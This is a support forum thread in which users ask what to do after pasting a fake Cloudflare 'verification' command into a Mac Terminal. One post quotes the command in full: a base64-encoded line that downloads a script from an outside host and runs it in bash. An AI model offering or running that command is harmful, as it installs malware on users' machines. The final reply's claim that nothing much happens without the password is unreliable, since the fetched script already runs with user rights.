Understanding and reversing a suspicious terminal command

i was opening a site and it wanted manual verfication for cloudflare through terminal so i copied the command and pasted it, it was " echo "Y3VybCAtcyBodHRwczovL2dhbW1hLnBsYWluZmVuYXNzb2NpYXRlcy5jb20vc3RyaXgvaW5kZXgucGhwIHwgbm9odXAgYmFzaCAm" | base64 -d | bash "


also after that terminal asked for disk permissions but i declined, don't know if that'll help.


I'm not sure what that is but i'm suspecious so how do i undo or reverse or just know what that was about?


thank you


[Re-Titled by Moderator]

Original Title: terminal command

MacBook Pro 14″

Posted on Sep 12, 2025 10:19 AM

Reply
Question marked as Top-ranking reply

Posted on Sep 12, 2025 2:20 PM

That wasn’t manual verification, that was a malicious exploit.


One of the variations of this is known as ClickFix. There may be others.


As for what happened here, that depends entirely on what was downloaded, and the downloaded tooling can vary widely. And what got downloaded can then make other changes, deletions, additions, whatever.


Restore your system from backup. Change your credentials. Now.


Reading:


The same technique is also being used elsewhere:

26 replies

Sep 13, 2025 2:28 AM in response to leroydouglas

first of all thank you guys so much for all the help I've changed all my passwords for Apple and google the ones where I have signed in on this Mac, and currently reinstalling macOS, so now this clean install will be clean 100% and could not have been compromised in this hack? I don't know if this clean install is stored on my Mac or is it pulled from the cloud. also i had an external SSD connected at that time so could that SSD be compromised too and i have to delete all the files there as well ? as i have some data there that doesn't have a backup.

also this a new device so there was nothing on it at all except a couple of apps.


Thank you again

Sep 13, 2025 8:33 AM in response to Gad-2

While it’s certainly conceivably possible, such persistence is much more expensive exploit tooling; if the folks have compromised some of the firmware, we all have bigger issues.


If this is Apple silicon Mac and you have another Apple silicon Mac, you can reload the firmware. Now that too won’t he absolutely certain, because, well, there is no certainty with security. It’s always trade-offs,


Sep 13, 2025 10:50 AM in response to Gad-2

Gad-2 wrote:
I don't know if this clean install is stored on my Mac or is it pulled from the cloud.

If you "clean install" the MacOS using Apple's procedures, the installation is "safe."

i had an external SSD connected at that time so could that SSD be compromised too and i have to delete all the files there as well ? as i have some data there that doesn't have a backup.

I think you can assume any external drives were also accessed, but most likely to copy information from, not to place new files into. But I don't believe you need to delete all its files. If they are data (not apps or executables), I would not be as concerned. Sometimes .jpg or .pdf files can be vectors for malware but at some point we all accept some risk in life and I think that risk is very low in this situation. What I would do is manually copy the files you care about from that external drive to another drive, then erase/format the external drive and manually copy those files back. As an extra measure of paranoia, you could do this while disconnected from the internet.

Nov 5, 2025 7:40 AM in response to Gad-2

Same issue here , got the cloud fare asking me to verify via terminal with a copy paste command.


When I pasted the command and pressed enter it asked me for my Mac password. I immediately understood that I made a mistake , so at that moment I just HARD SWITCH OFF my laptop by am not sure if it was compromised.


It would take me a few days to empty my Mac onto hard disk and make a fresh install of macOS. Is there a way to check if something was installed ? a way to check if it was compromised ?


I opened the laptop again, changed the user password on Apple account.

I will need to move all my data out before reinstalling macOS, however in the meantime I am not sure if my data is safe.

Nov 5, 2025 10:26 AM in response to v_panos

> When I pasted the command and pressed enter it asked me for my Mac password. I immediately understood that I made a mistake , so at that moment I just HARD SWITCH OFF my laptop by am not sure if it was compromised.


Not much could happen if you didn't enter your password. That's the last defense against anything malicious. Everything up to that point (copying the script, downloading files to your machine, etc.) is moot and irrelevant until you enter that password and then you've let them in and lost all control.

Understanding and reversing a suspicious terminal command

Welcome to Apple Support Community
A forum where Apple customers help each other with their products. Get started with your Apple Account.